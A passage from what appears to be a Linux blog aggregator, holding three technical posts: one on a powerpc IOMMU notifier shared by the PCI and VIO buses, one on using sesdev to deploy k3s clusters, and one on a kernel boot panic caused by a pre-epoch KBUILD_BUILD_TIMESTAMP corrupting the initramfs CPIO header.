    So pci_notify() gets called with our VIO device (somehow), and we're converting that struct device into a struct pci_dev with no error checking. We could solve this particular bug by just checking that our device is actually a PCI device before we proceed - but we're in a function called pci_notify, we're expecting a PCI device to come in, so this would just be a bandaid.

    to_pci_dev() works like other struct containers in the kernel - struct pci_dev contains a struct device as a member, so the container_of() function returns an address based on where a struct pci_dev would have to be if the given struct device was actually a PCI device. Since we know it's not actually a PCI device and this struct device does not actually sit inside a struct pci_dev, our pdev is now pointing to some random place in memory, hence our access to a member like class is caught by KASAN.

    Now we know why and how we're blowing up, but we still don't understand how we got here, so let's back up further.

    Notifiers

    The kernel's device subsystem allows consumers to register callbacks so that they can be notified of a given event. I'm not going to go into a ton of detail on how they work, because I don't fully understand myself, and there's a lot of internals of the device subsystem involved. The best references I could find for this are notifier.h, and for our purposes here, the register notifier functions in bus.h.

    Something's clearly gone awry if we can end up in a function named pci_notify() without passing it a PCI device. We find where the notifier is registered in vgaarb.c here:

    static struct notifier_block pci_notifier = {
            .notifier_call = pci_notify,
    };
    
    static int __init vga_arb_device_init(void)
    {
            /* some stuff removed here... */
    
            bus_register_notifier(&pci_bus_type, &pci_notifier);
    

    This all looks sane. A blocking notifier is registered so that pci_notify() gets called whenever there's a notification going out to PCI buses. Our VIO device is distinctly not on a PCI bus, and in my debugging I couldn't find any potential causes of such confusion, so how on earth is a notification for PCI buses being applied to our non-PCI device?

    Deep in the guts of the device subsystem, if we have a look at device_add() we find the following:

    int device_add(struct device *dev)
    {
            /* lots of device init stuff... */
    
            if (dev->bus)
                    blocking_notifier_call_chain(&dev->bus->p->bus_notifier,
                                                 BUS_NOTIFY_ADD_DEVICE, dev);
    

    If the device we're initialising is attached to a bus, then we call the bus notifier of that bus with the BUS_NOTIFY_ADD_DEVICE notification, and the device in question. So we're going through the process of adding a VIO device, and somehow calling into a notifier that's only registered for PCI devices. I did a bunch of debugging to see if our VIO device was somehow malformed and pointing to a PCI bus, or the struct subsys_private (that's the bus->p above) was somehow pointing to the wrong place, but everything seemed sane. My thesis of there being confusion while matching devices to buses was getting harder to justify - everything still looked sane.

    Debuggers

    I do not like debuggers. I am an avid printk() enthusiast. There's no real justification for this, a bunch of my problems could almost certainly be solved easier by using actual tools, but my brain seemingly enjoys the routine of printing and building and running until I figure out what's going on. It was becoming increasingly obvious, however, that printk could not save me here, and we needed to go deeper.

    Very thankfully for me, even though this bug was discovered on real hardware, it reproduces easily in QEMU, making iteration easy. With GDB attached to QEMU, it's time to dive in to the guts of this issue and figure out what's happening.

    Somehow, VIO buses are ending up with pci_notify() in their bus_notifier list. Let's break down the data structures here with a look at struct notifier_block:

    struct notifier_block {
            notifier_fn_t notifier_call;
            struct notifier_block __rcu *next;
            int priority;
    };
    

    So notifier chains are singly linked lists. Callbacks are registered through functions like bus_register_notifier(), then after a long chain of breadcrumbs we reach notifier_chain_register() which walks the list of ->next pointers until it reaches NULL, at which point it sets ->next of the tail node to the struct notifier_block that was passed in. It's very important to note here that the data being appended to the list here is not just the callback function (i.e. pci_notify()), but the struct notifier_block itself (i.e. struct notifier_block pci_notifier from earlier). There's no new data being initialised, just updating a pointer to the object that was passed by the caller.

    If you've guessed what our bug is at this point, great job! If the same struct notifier_block gets registered to two different bus types, then both of their bus_notifier fields will point to the same memory, and any further notifiers registered to either bus will end up being referenced by both since they walk through the same node.

    So we bust out the debugger and start looking at what ends up in bus_notifier for PCI and VIO buses with breakpoints and watchpoints.

    Candidates

    Walking the bus_notifier list gave me the following:

    __gcov_.perf_trace_module_free
    fail_iommu_bus_notify
    isa_bridge_notify
    ppc_pci_unmap_irq_line
    eeh_device_notifier
    iommu_bus_notifier
    tce_iommu_bus_notifier
    pci_notify
    

    Time to find out if our assumption is correct - the same struct notifier_block is being registered to both bus types. Let's start going through them!

    First up, we have __gcov_.perf_trace_module_free. Thankfully, I recognised this as complete bait. Trying to figure out what gcov and perf are doing here is going to be its own giant rabbit hole, and unless building without gcov makes our problem disappear, we skip this one and keep on looking. Rabbit holes in the kernel never end, we have to be strategic with our time!

    Next, we reach fail_iommu_bus_notify, so let's take a look at that.

    static struct notifier_block fail_iommu_bus_notifier = {
            .notifier_call = fail_iommu_bus_notify
    };
    
    static int __init fail_iommu_setup(void)
    {
    #ifdef CONFIG_PCI
            bus_register_notifier(&pci_bus_type, &fail_iommu_bus_notifier);
    #endif
    #ifdef CONFIG_IBMVIO
            bus_register_notifier(&vio_bus_type, &fail_iommu_bus_notifier);
    #endif
    
            return 0;
    }
    

    Sure enough, here's our bug. The same node is being registered to two different bus types:

    +------------------+
    | PCI bus_notifier \
    +------------------+\
                         \+-------------------------+    +-----------------+    +------------+
                          | fail_iommu_bus_notifier |----| PCI + VIO stuff |----| pci_notify |
                         /+-------------------------+    +-----------------+    +------------+
    +------------------+/
    | VIO bus_notifier /
    +------------------+
    

    when it should be like:

    +------------------+    +-----------------------------+    +-----------+    +------------+
    | PCI bus_notifier |----| fail_iommu_pci_bus_notifier |----| PCI stuff |----| pci_notify |
    +------------------+    +-----------------------------+    +-----------+    +------------+
    
    +------------------+    +-----------------------------+    +-----------+
    | VIO bus_notifier |----| fail_iommu_vio_bus_notifier |----| VIO stuff |
    +------------------+    +-----------------------------+    +-----------+
    

    The fix

    Ultimately, the fix turned out to be pretty simple:

    Author: Russell Currey <ruscur@russell.cc>
    Date:   Wed Mar 22 14:37:42 2023 +1100
    
        powerpc/iommu: Fix notifiers being shared by PCI and VIO buses
    
        fail_iommu_setup() registers the fail_iommu_bus_notifier struct to both
        PCI and VIO buses.  struct notifier_block is a linked list node, so this
        causes any notifiers later registered to either bus type to also be
        registered to the other since they share the same node.
    
        This causes issues in (at least) the vgaarb code, which registers a
        notifier for PCI buses.  pci_notify() ends up being called on a vio
        device, converted with to_pci_dev() even though it's not a PCI device,
        and finally makes a bad access in vga_arbiter_add_pci_device() as
        discovered with KASAN:
    
        [stack trace redacted, see above]
    
        Fix this by creating separate notifier_block structs for each bus type.
    
        Fixes: d6b9a81b2a45 ("powerpc: IOMMU fault injection")
        Reported-by: Nageswara R Sastry <rnsastry@linux.ibm.com>
        Signed-off-by: Russell Currey <ruscur@russell.cc>
    
    diff --git a/arch/powerpc/kernel/iommu.c b/arch/powerpc/kernel/iommu.c
    index ee95937bdaf1..6f1117fe3870 100644
    --- a/arch/powerpc/kernel/iommu.c
    +++ b/arch/powerpc/kernel/iommu.c
    @@ -171,17 +171,26 @@ static int fail_iommu_bus_notify(struct notifier_block *nb,
             return 0;
     }
    
    -static struct notifier_block fail_iommu_bus_notifier = {
    +/*
    + * PCI and VIO buses need separate notifier_block structs, since they're linked
    + * list nodes.  Sharing a notifier_block would mean that any notifiers later
    + * registered for PCI buses would also get called by VIO buses and vice versa.
    + */
    +static struct notifier_block fail_iommu_pci_bus_notifier = {
    +        .notifier_call = fail_iommu_bus_notify
    +};
    +
    +static struct notifier_block fail_iommu_vio_bus_notifier = {
             .notifier_call = fail_iommu_bus_notify
     };
    
     static int __init fail_iommu_setup(void)
     {
     #ifdef CONFIG_PCI
    -        bus_register_notifier(&pci_bus_type, &fail_iommu_bus_notifier);
    +        bus_register_notifier(&pci_bus_type, &fail_iommu_pci_bus_notifier);
     #endif
     #ifdef CONFIG_IBMVIO
    -        bus_register_notifier(&vio_bus_type, &fail_iommu_bus_notifier);
    +        bus_register_notifier(&vio_bus_type, &fail_iommu_vio_bus_notifier);
     #endif
    
             return 0;
    

    Easy! Problem solved. The commit that introduced this bug back in 2012 was written by the legendary Anton Blanchard, so it's always a treat to discover an Anton bug. Ultimately this bug is of little consequence, but it's always fun to catch dormant issues with powerful tools like KASAN.

    In conclusion

    I think this bug provides a nice window into what kernel debugging can be like. Thankfully, things are made easier by not dealing with any specific hardware and being easily reproducible in QEMU.

    Bugs like this have an absurd amount of underlying complexity, but you rarely need to understand all of it to comprehend the situation and discover the issue. I spent way too much time digging into device subsystem internals, when the odds of the issue lying within were quite low - the combination of IBM VIO devices and VGA arbitration isn't exactly common, so searching for potential issues within the guts of a heavily utilised subsystem isn't going to yield results very often.

    Is there something haunted in the device subsystem? Is there something haunted inside the notifier handlers? It's possible, but assuming the core guts of the kernel have a baseline level of sanity helps to let you stay focused on the parts more likely to be relevant.

    Finally, the process was made much easier by having good code navigation. A ludicrous amount of kernel developers still use plain vim or Emacs, maybe with tags if you're lucky, and get by on git grep (not even ripgrep!) and memory. Sort yourselves out and get yourself an editor with LSP support. I personally use Doom Emacs with clangd, and with the amount of jumping around the kernel I had to do to solve this bug, it would've been a much bigger ordeal without that power.

    If you enjoyed the read, why not follow me on Mastodon or checkout Ben's recount of another cursed bug! Thanks for stopping by.

    Friday, 24 March 2023

    Tim SerongTeaching an odd dog new tricks

    We – that is to say the storage team at SUSE – have a tool we’ve been using for the past few years to help with development and testing of Ceph on SUSE Linux. It’s called sesdev because it was created largely for SES (SUSE Enterprise Storage) development. It’s essentially a wrapper around vagrant and libvirt that will spin up clusters of VMs running openSUSE or SLES, then deploy Ceph on them. You would never use such clusters in production, but it’s really nice to be able to easily spin up a cluster for testing purposes that behaves something like a real cluster would, then throw it away when you’re done.

    I’ve recently been trying to spend more time playing with Kubernetes, which means I wanted to be able to spin up clusters of VMs running openSUSE or SLES, then deploy Kubernetes on them, then throw the clusters away when I was done, or when I broke something horribly and wanted to start over. Yes, I know there’s a bunch of other tools for doing toy Kubernetes deployments (minikube comes to mind), but given I already had sesdev and was pretty familiar with it, I thought it’d be worthwhile seeing if I could teach it to deploy k3s, a particularly lightweight version of Kubernetes. Turns out that wasn’t too difficult, so now I can do this:

    > sesdev create k3s
    === Creating deployment "k3s" with the following configuration === 
    Deployment-wide parameters (applicable to all VMs in deployment):
    deployment ID:    k3s
    number of VMs:    5
    version:          k3s
    OS:               tumbleweed
    public network:   10.20.190.0/24 
    Proceed with deployment (y=yes, n=no, d=show details) ? [y]: y
    === Running shell command ===
    vagrant up --no-destroy-on-error --provision
    Bringing machine 'master' up with 'libvirt' provider...
    Bringing machine 'node1' up with 'libvirt' provider...
    Bringing machine 'node2' up with 'libvirt' provider...
    Bringing machine 'node3' up with 'libvirt' provider...
    Bringing machine 'node4' up with 'libvirt' provider...
    
    [...
      wait a few minutes
      (there's lots more log information output here in real life)
    ...]
    
    === Deployment Finished ===
     You can login into the cluster with:
     $ sesdev ssh k3s
    

    …and then I can do this:

    > sesdev ssh k3s
    Last login: Fri Mar 24 11:50:15 CET 2023 from 10.20.190.204 on ssh
    Have a lot of fun…
    
    master:~ # kubectl get nodes
    NAME     STATUS   ROLES                  AGE     VERSION
    master   Ready    control-plane,master   5m16s   v1.25.7+k3s1
    node2    Ready                     2m17s   v1.25.7+k3s1
    node1    Ready                     2m15s   v1.25.7+k3s1
    node3    Ready                     2m16s   v1.25.7+k3s1
    node4    Ready                     2m16s   v1.25.7+k3s1 
    
    master:~ # kubectl get pods -A
    NAMESPACE     NAME                                      READY   STATUS      RESTARTS   AGE
    kube-system   local-path-provisioner-79f67d76f8-rpj4d   1/1     Running     0          5m9s
    kube-system   metrics-server-5f9f776df5-rsqhb           1/1     Running     0          5m9s
    kube-system   coredns-597584b69b-xh4p7                  1/1     Running     0          5m9s
    kube-system   helm-install-traefik-crd-zz2ld            0/1     Completed   0          5m10s
    kube-system   helm-install-traefik-ckdsr                0/1     Completed   1          5m10s
    kube-system   svclb-traefik-952808e4-5txd7              2/2     Running     0          3m55s
    kube-system   traefik-66c46d954f-pgnv8                  1/1     Running     0          3m55s
    kube-system   svclb-traefik-952808e4-dkkp6              2/2     Running     0          2m25s
    kube-system   svclb-traefik-952808e4-7wk6l              2/2     Running     0          2m13s
    kube-system   svclb-traefik-952808e4-chmbx              2/2     Running     0          2m14s
    kube-system   svclb-traefik-952808e4-k7hrw              2/2     Running     0          2m14s

    …and then I can make a mess with kubectl apply, helm, etc.

    One thing that sesdev knows how to do is deploy VMs with extra virtual disks. This functionality is there for Ceph deployments, but there’s no reason we can’t turn it on when deploying k3s:

    > sesdev create k3s --num-disks=2
    > sesdev ssh k3s
    master:~ # for node in \
        $(kubectl get nodes -o 'jsonpath={.items[*].metadata.name}') ;
        do echo $node ; ssh $node cat /proc/partitions ; done
    master
    major minor  #blocks  name
     253        0   44040192 vda
     253        1       2048 vda1
     253        2      20480 vda2
     253        3   44016623 vda3
    node3
    major minor  #blocks  name
     253        0   44040192 vda
     253        1       2048 vda1
     253        2      20480 vda2
     253        3   44016623 vda3
     253       16    8388608 vdb
     253       32    8388608 vdc
    node2
     major minor  #blocks  name
     253        0   44040192 vda
     253        1       2048 vda1
     253        2      20480 vda2
     253        3   44016623 vda3
     253       16    8388608 vdb
     253       32    8388608 vdc
    node4
     major minor  #blocks  name
     253        0   44040192 vda
     253        1       2048 vda1
     253        2      20480 vda2
     253        3   44016623 vda3
     253       16    8388608 vdb
     253       32    8388608 vdc
    node1
     major minor  #blocks  name
     253        0   44040192 vda
     253        1       2048 vda1
     253        2      20480 vda2
     253        3   44016623 vda3
     253       16    8388608 vdb
     253       32    8388608 vdc

    As you can see this gives all the worker nodes an extra two 8GB virtual disks. I suspect this may make sesdev an interesting tool for testing other Kubernetes based storage systems such as Longhorn, but I haven’t tried that yet.

    Thursday, 23 March 2023

    sthbrx - a POWER technical blogDumb bugs: When a date breaks booting the kernel

    The setup

    I've recently been working on internal CI infrastructure for testing kernels before sending them to the mailing list. As part of this effort, I became interested in reproducible builds. Minimising the changing parts outside of the source tree itself could improve consistency and ccache hits, which is great for trying to make the CI faster and more reproducible across different machines. This means removing 'external' factors like timestamps from the build process, because the time changes every build and means the results between builds of the same tree are no longer identical binaries. This also prevents using previously cached results, potentially slowing down builds (though it turns out the kernel does a good job of limiting the scope of where timestamps appear in the build).

    As part of this effort, I came across the KBUILD_BUILD_TIMESTAMP environment variable. This variable is used to set the kernel timestamp, which is primarily for any users who want to know when their kernel was built. That's mostly irrelevant for our work, so an easy KBUILD_BUILD_TIMESTAMP=0 later and... it still uses the current date.

    Ok, checking the documentation it says

    Setting this to a date string overrides the timestamp used in the UTS_VERSION definition (uname -v in the running kernel). The value has to be a string that can be passed to date -d. The default value is the output of the date command at one point during build.

    So it looks like the timestamp variable is actually expected to be a date format. To make it obvious that it's not a 'real' date, let's set KBUILD_BUILD_TIMESTAMP=0000-01-01. A bunch of zeroes (and the ones to make it a valid month and day) should tip off anyone to the fact it's invalid.

    As an aside, this is a different date to what I tried to set it to earlier; a 'timestamp' typically refers to the number of seconds since the UNIX epoch (1970), so my first attempt would have corresponded to 1970-01-01. But given we're passing a date, not a timestamp, there should be no problem setting it back to the year 0. And I like the aesthetics of 0000 over 1970.

    Building and booting the kernel, we see #1 SMP 0000-01-01 printed as the build timestamp. Success! After confirming everything works, I set the environment variable in the CI jobs and call it a day.

    An unexpected error

    A few days later I need to run the CI to test my patches, and something strange happens. It builds fine, but the boot tests that load a root disk image fail inexplicably: there is a kernel panic saying "VFS: Unable to mount root fs on unknown-block(253,2)".

    [    0.909648][    T1] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(253,2)
    [    0.909797][    T1] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 6.3.0-rc2-g065ffaee7389 #8
    [    0.909880][    T1] Hardware name: IBM pSeries (emulated by qemu) POWER8 (raw) 0x4d0200 0xf000004 of:SLOF,HEAD pSeries
    [    0.910044][    T1] Call Trace:
    [    0.910107][    T1] [c000000003643b00] [c000000000fb6f9c] dump_stack_lvl+0x70/0xa0 (unreliable)
    [    0.910378][    T1] [c000000003643b30] [c000000000144e34] panic+0x178/0x424
    [    0.910423][    T1] [c000000003643bd0] [c000000002005144] mount_block_root+0x1d0/0x2bc
    [    0.910457][    T1] [c000000003643ca0] [c000000002005720] prepare_namespace+0x1d4/0x22c
    [    0.910487][    T1] [c000000003643d20] [c000000002004b04] kernel_init_freeable+0x36c/0x3bc
    [    0.910517][    T1] [c000000003643df0] [c000000000013830] kernel_init+0x30/0x1a0
    [    0.910549][    T1] [c000000003643e50] [c00000000000df94] ret_from_kernel_thread+0x5c/0x64
    [    0.910587][    T1] --- interrupt: 0 at 0x0
    [    0.910794][    T1] NIP:  0000000000000000 LR: 0000000000000000 CTR: 0000000000000000
    [    0.910828][    T1] REGS: c000000003643e80 TRAP: 0000   Not tainted  (6.3.0-rc2-g065ffaee7389)
    [    0.910883][    T1] MSR:  0000000000000000 <>  CR: 00000000  XER: 00000000
    [    0.910990][    T1] CFAR: 0000000000000000 IRQMASK: 0
    [    0.910990][    T1] GPR00: 0000000000000000 c000000003644000 0000000000000000 0000000000000000
    [    0.910990][    T1] GPR04: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
    [    0.910990][    T1] GPR08: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
    [    0.910990][    T1] GPR12: 0000000000000000 0000000000000000 c000000000013808 0000000000000000
    [    0.910990][    T1] GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
    [    0.910990][    T1] GPR20: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
    [    0.910990][    T1] GPR24: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
    [    0.910990][    T1] GPR28: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
    [    0.911371][    T1] NIP [0000000000000000] 0x0
    [    0.911397][    T1] LR [0000000000000000] 0x0
    [    0.911427][    T1] --- interrupt: 0
    qemu-system-ppc64: OS terminated: OS panic: VFS: Unable to mount root fs on unknown-block(253,2)
    

    Above the panic was some more context, saying

    [    0.906194][    T1] Warning: unable to open an initial console.
    ...
    [    0.908321][    T1] VFS: Cannot open root device "vda2" or unknown-block(253,2): error -2
    [    0.908356][    T1] Please append a correct "root=" boot option; here are the available partitions:
    [    0.908528][    T1] 0100           65536 ram0
    [    0.908657][    T1]  (driver?)
    [    0.908735][    T1] 0101           65536 ram1
    [    0.908744][    T1]  (driver?)
    ...
    [    0.909216][    T1] 010f           65536 ram15
    [    0.909226][    T1]  (driver?)
    [    0.909265][    T1] fd00         5242880 vda
    [    0.909282][    T1]  driver: virtio_blk
    [    0.909335][    T1]   fd01            4096 vda1 d1f35394-01
    [    0.909364][    T1]
    [    0.909401][    T1]   fd02         5237760 vda2 d1f35394-02
    [    0.909408][    T1]
    [    0.909441][    T1] fd10             366 vdb
    [    0.909446][    T1]  driver: virtio_blk
    [    0.909479][    T1] 0b00         1048575 sr0
    [    0.909486][    T1]  driver: sr
    

    This is even more baffling: if it's unable to open a console, then what am I reading these messages on? And error -2, or ENOENT, on opening 'vda2' implies that no such file or directory exists. But it then lists vda2 as a present drive with a known driver? So is vda2 missing or not?

    Living in denial

    As you've read the title of this article, you can probably guess as to what changed to cause this error. But at the time I had no idea what could have been the cause. I'd already confirmed that a kernel with a set timestamp can boot to userspace, and there was another (seemingly) far more likely candidate for the failure: as part of the CI design, patches are extracted from the submitted branch and rebased onto the maintainer's tree. This is great from a convenience perspective, because you don't need to worry about forgetting to rebase your patches before testing and submission. But if the maintainer has synced their branch with Linus' tree it means there could be a lot of things changed in the source tree between runs, even if they were only a few days apart.

    So, when you're faced with a working test on one commit and a broken test on another commit, it's time to break out the git bisect. Downloading the kernel images from the relevant CI jobs, I confirmed that indeed one was working while the other was broken. So I bisected the relevant commits, and... everything kept working. Each step I would build and boot the kernel, and each step would reach userspace just fine. I was getting suspicious at this point, so skipped ahead to the known bad commit and built and tested it locally. It also worked.

    This was highly confusing, because it meant there was something fishy going on. Some kind of state outside of the kernel tree. Could it be... surely not...

    Comparing the boot logs of the two CI kernels, I see that the working one indeed uses an actual timestamp, and the broken one uses the 0000-01-01 fixed date. Oh no. Setting the timestamp with a local build, I can now reproduce the boot panic with a kernel I built myself.

    But... why?

    OK, so it's obvious at this point that the timestamp is affecting loading a root disk somehow. But why? The obvious answer is that it's before the UNIX epoch. Something in the build process is turning the date into an actual timestamp, and going wrong when that timestamp gets used for something.

    But it's not like there was a build error complaining about it. As best I could tell, the kernel doesn't try to parse the date anywhere, besides passing it to date during the build. And if date had an issue with it, it would have broken the build. Not booting the kernel. There's no date utility being invoked during kernel boot!

    Regardless, I set about tracing the usage of KBUILD_BUILD_TIMESTAMP inside the kernel. The stacktrace in the panic gave the end point of the search; the function mount_block_root() wasn't happy. So all I had to do was work out at which point mount_block_root() tried to access the KBUILD_BUILD_TIMESTAMP value.

    In short, that went nowhere.

    mount_block_root() effectively just tries to open a file in the filesystem. There's massive amounts of code handling this, and any part could have had the undocumented dependency on KBUILD_BUILD_TIMESTAMP. Approaching from the other direction, KBUILD_BUILD_TIMESTAMP is turned into build-timestamp inside a Makefile, which is in turn related to a file include/generated/utsversion.h. This file #defines UTS_VERSION equal to the KBUILD_BUILD_TIMESTAMP value. Searching the kernel for UTS_VERSION, we hit init/version-timestamp.c which stores it in a struct with other build information:

    struct uts_namespace init_uts_ns = {
        .ns.count = REFCOUNT_INIT(2),
        .name = {
            .sysname    = UTS_SYSNAME,
            .nodename   = UTS_NODENAME,
            .release    = UTS_RELEASE,
            .version    = UTS_VERSION,
            .machine    = UTS_MACHINE,
            .domainname = UTS_DOMAINNAME,
        },
        .user_ns = &init_user_ns,
        .ns.inum = PROC_UTS_INIT_INO,
    #ifdef CONFIG_UTS_NS
        .ns.ops = &utsns_operations,
    #endif
    };
    

    This is where the trail goes cold: I don't know if you've ever tried this, but searching for .version in the kernel's codebase is not a very fruitful endeavor when you're interested in a specific kind of version.

    $ rg "(\.|\->)version\b" | wc -l
    5718
    

    I tried tracing the usage of init_uts_ns, but didn't get very far.

    By now I'd already posted this in chat and another developer, Joel Stanley, was also investigating this bizarre bug. They had been testing different timestamp values and made the horrifying discovery that the bug sticks around after a rebuild. So you could start with a broken build, set the timestamp back to the correct value, rebuild, and the resulting kernel would still be broken. The boot log would report the correct time, but the root disk mounter panicked all the same.

    Getting sidetracked

    I wasn't prepared to investigate the boot panic directly until the persistence bug was fixed. Having to run make clean and rebuild everything would take an annoyingly long time, even with ccache. Fortunately, I had a plan. All I had to do was work out which generated files are different between a broken and working build, and binary search by deleting half of them until deleting only one made the difference between the bug persisting or not. We can use diff for this. Running the initial diff we get

    $ diff -q --exclude System.map --exclude .tmp_vmlinux* --exclude tools broken/ working/
    Common subdirectories: broken/arch and working/arch
    Common subdirectories: broken/block and working/block
    Files broken/built-in.a and working/built-in.a differ
    Common subdirectories: broken/certs and working/certs
    Common subdirectories: broken/crypto and working/crypto
    Common subdirectories: broken/drivers and working/drivers
    Common subdirectories: broken/fs and working/fs
    Common subdirectories: broken/include and working/include
    Common subdirectories: broken/init and working/init
    Common subdirectories: broken/io_uring and working/io_uring
    Common subdirectories: broken/ipc and working/ipc
    Common subdirectories: broken/kernel and working/kernel
    Common subdirectories: broken/lib and working/lib
    Common subdirectories: broken/mm and working/mm
    Common subdirectories: broken/net and working/net
    Common subdirectories: broken/scripts and working/scripts
    Common subdirectories: broken/security and working/security
    Common subdirectories: broken/sound and working/sound
    Common subdirectories: broken/usr and working/usr
    Files broken/.version and working/.version differ
    Common subdirectories: broken/virt and working/virt
    Files broken/vmlinux and working/vmlinux differ
    Files broken/vmlinux.a and working/vmlinux.a differ
    Files broken/vmlinux.o and working/vmlinux.o differ
    Files broken/vmlinux.strip.gz and working/vmlinux.strip.gz differ
    

    Hmm, OK so only some top level files are different. Deleting all the different files doesn't fix the persistence bug though, and I know that a proper make clean does fix it, so what could possibly be the difference when all the remaining files are identical?

    Oh wait. man diff reports that diff only compares the top level folder entries by default. So it was literally just telling me "yes, both the broken and working builds have a folder named X". How GNU of it. Re-running the diff command with actually useful options, we get a more promising story

    $ diff -qr --exclude System.map --exclude .tmp_vmlinux* --exclude tools build/broken/ build/working/
    Files build/broken/arch/powerpc/boot/zImage and build/working/arch/powerpc/boot/zImage differ
    Files build/broken/arch/powerpc/boot/zImage.epapr and build/working/arch/powerpc/boot/zImage.epapr differ
    Files build/broken/arch/powerpc/boot/zImage.pseries and build/working/arch/powerpc/boot/zImage.pseries differ
    Files build/broken/built-in.a and build/working/built-in.a differ
    Files build/broken/include/generated/utsversion.h and build/working/include/generated/utsversion.h differ
    Files build/broken/init/built-in.a and build/working/init/built-in.a differ
    Files build/broken/init/utsversion-tmp.h and build/working/init/utsversion-tmp.h differ
    Files build/broken/init/version.o and build/working/init/version.o differ
    Files build/broken/init/version-timestamp.o and build/working/init/version-timestamp.o differ
    Files build/broken/usr/built-in.a and build/working/usr/built-in.a differ
    Files build/broken/usr/initramfs_data.cpio and build/working/usr/initramfs_data.cpio differ
    Files build/broken/usr/initramfs_data.o and build/working/usr/initramfs_data.o differ
    Files build/broken/usr/initramfs_inc_data and build/working/usr/initramfs_inc_data differ
    Files build/broken/.version and build/working/.version differ
    Files build/broken/vmlinux and build/working/vmlinux differ
    Files build/broken/vmlinux.a and build/working/vmlinux.a differ
    Files build/broken/vmlinux.o and build/working/vmlinux.o differ
    Files build/broken/vmlinux.strip.gz and build/working/vmlinux.strip.gz differ
    

    There are some new entries here: notably init/version* and usr/initramfs*. Binary searching these files results in a single culprit: usr/initramfs_data.cpio. This is quite fitting, as the .cpio file is an archive defining a filesystem layout, much like .tar files. This file is actually embedded into the kernel image, and loaded as a bare-bones shim filesystem when the user doesn't provide their own initramfs1.

    So it would make sense that if the CPIO archive wasn't being rebuilt, then the initial filesystem wouldn't change. And it would make sense for the initial filesystem to be causing mount issues of the proper root disk filesystem.

    This just leaves the question of how KBUILD_BUILD_TIMESTAMP is breaking the CPIO archive. And it's around this time that a third developer, Andrew, who I'd roped into this bug hunt for having the (mis)fortune to sit next to me, pointed out that the generator script for this CPIO archive was passing the KBUILD_BUILD_TIMESTAMP to date. Whoop, we've found the murder weapon2!

    The persistence bug could be explained now: because the script was only using KBUILD_BUILD_TIMESTAMP internally, make had no way of knowing that the archive generation depended on this variable. So even when I changed the variable to a valid value, make didn't know to rebuild the corrupt archive. Let's now get back to the main issue: why boot panics.

    Solving the case

    Following along the CPIO generation script, the KBUILD_BUILD_TIMESTAMP variable is turned into a timestamp by date -d"$KBUILD_BUILD_TIMESTAMP" +%s. Testing this in the shell with 0000-01-01 we get this (somewhat amusing, but also painful) result

    date -d"$KBUILD_BUILD_TIMESTAMP" +%s
    -62167255492
    

    This timestamp is then passed to a C program that assigns it to a variable default_mtime. Looking over the source, it seems this variable is used to set the mtime field on the files in the CPIO archive. The timestamp is stored as a time_t, which is an alias for int64_t. That's 64 bits of data, up to 16 hexadecimal characters. And yes, that's relevant: CPIO stores the mtime (and all other numerical fields) as 32 bit unsigned integers represented by ASCII hexadecimal characters. The sprintf() call that ultimately embeds the timestamp uses the %08lX format specifier. This formats a long as hexadecimal, padded to at least 8 characters. Hang on... at least 8 characters? What if our timestamp happens to be more?

    It turns out that large timestamps are already guarded against. The program will error during build if the date is later than 2106-02-07 (maximum unsigned 8 hex digit timestamp).

    /*
     * Timestamps after 2106-02-07 06:28:15 UTC have an ascii hex time_t
     * representation that exceeds 8 chars and breaks the cpio header
     * specification.
     */
    if (default_mtime > 0xffffffff) {
        fprintf(stderr, "ERROR: Timestamp too large for cpio format\n");
        exit(1);
    }
    

    But we are using an int64_t. What would happen if one were to provide a negative timestamp?

    Well, sprintf() happily spits out FFFFFFF1868AF63C when we pass in our negative timestamp representing 0000-01-01. That's 16 characters, 8 too many for the CPIO header3.

    So at last we've found the cause of the panic: the timestamp is being formatted too long, which breaks the CPIO header and the kernel doesn't create an initial filesystem correctly. This includes the /dev folder (which surprisingly is not hardcoded into kernel, but must be declared by the initramfs). So when the root disk mounter tries to open /dev/vda2, it correctly complains that it failed to create a device in the non-existent /dev.

    Postmortem

    After discovering all this, I sent in a couple of patches to fix the CPIO generation and rebuild logic. They were not complicated fixes, but wow were they time consuming to track down. I didn't see the error initially because I typically only boot with my own initramfs over the embedded one, and not with the intent to load a root disk. Then the panic itself was quite far away from the real issue, and there were many dead ends to explore.

    I also got curious as to why the kernel didn't complain about a corrupt initramfs earlier. A brief investigation showed a streaming parser that is extremely fault tolerant, silently skipping invalid entries (like ones missing or having too long a name). The corrupted header was being interpreted as an entry with an empty name and 2 gigabyte body contents, which meant that (1) the kernel skipped inserting it due to the empty name, and (2) the kernel skipped the rest of the initramfs because it thought that up to 2 GB of the remaining content was part of that first entry.

    Perhaps this could be improved to require that all input is consumed without unexpected EOF, such as how the userspace cpio tool works (which, by the way, recognises the corrupt archive as such and refuses to decompress it). The parsing logic is mostly from the before-times though (i.e., pre initial git commit), so it's difficult to distinguish intentional leniency and bugs.

    Afterword

    Incidentally, in investigating this I came across another bug. There is a helper function panic_show_mem() in the initramfs that's meant to dump memory information and then call panic(). It takes in standard printf() style format string and arguments, and tries to forward them to panic() which ultimately prints them.

    static void panic_show_mem(const char *fmt, ...)
    {
        va_list args;
    
        show_mem(0, NULL);
        va_start(args, fmt);
        panic(fmt, args);
        va_end(args);
    }
    
    void panic(const char *fmt, ...);
    

    But variadic arguments don't quite work this way: instead of forwarding the list args as intended, panic() will instead interpret args as a single argument for the format string fmt. Standard library functions address this by providing v* variants of printf() and friends. For example,

    int printf(char *fmt, ...);
    
    int vprintf(char *fmt, va_list args);
    

    We might create a vpanic() function in the kernel that follows this style, but it seems easier to just make panic_show_mem() a macro and 'forward' the arguments in the source code

    #define panic_show_mem(fmt, ...) \
        ({ show_mem(0, NULL); panic(fmt, ##__VA_ARGS__); })
    

    Patch sent.

    And that's where I've left things. Big thanks to Joel and Andrew for helping me with this bug. It was certainly a trip.


    1. initramfs, or initrd for the older format, are specific kinds of CPIO archives. The initramfs is intended to be loaded as the initial filesystem of a booted kernel, typically in preparation for loading your normal root filesystem. It might contain modules necessary to mount the disk for example. 

